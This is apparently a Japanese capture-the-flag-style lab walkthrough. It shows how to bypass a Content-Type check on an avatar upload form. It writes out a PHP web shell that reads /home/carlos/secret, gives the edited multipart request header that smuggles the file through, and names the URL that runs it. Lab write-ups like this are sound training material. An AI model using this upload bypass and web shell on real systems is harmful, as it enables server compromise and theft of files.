Web shell upload via Content-Type restriction bypass
wienerでログインすると、アバター画像をアップロードする画面があらわれます。
テストで、JPGファイルをアップしてみます。
ファイルのアップ成功と表示されます。
戻ると、JPGファイルが表示されます。
エディタを使って、exploit.phpをいうファイルを作ります。
<?php echo file_get_contents('/home/carlos/secret'); ?>
アップロードフォームから、作ったexploit.phpをアップします。
image/jpeg image/pngしかアップできませんとエラーが出ました。
アップに失敗したリクエストをヒストリーからみつけ、リピータに渡します。
*最新の POST /my-account/avatar だと思います。
リクエストボディの
------WebKitFormBoundaryK7cOXSDvpWgNvGpA
Content-Disposition: form-data; name="avatar"; filename="exploit.php"
Content-Type: application/octet-stream
のapplication/octet-streamを
image/jpeg に書き換え、sendを押します。
200が返って、phpファイルのアップに成功したようです。
内臓ブラウザのURLで、以下を叩きます。
/files/avatars/exploit.php
秘密のパスワードが表示されるので、Submit solutionに入れて、クリア!
–)v
コメント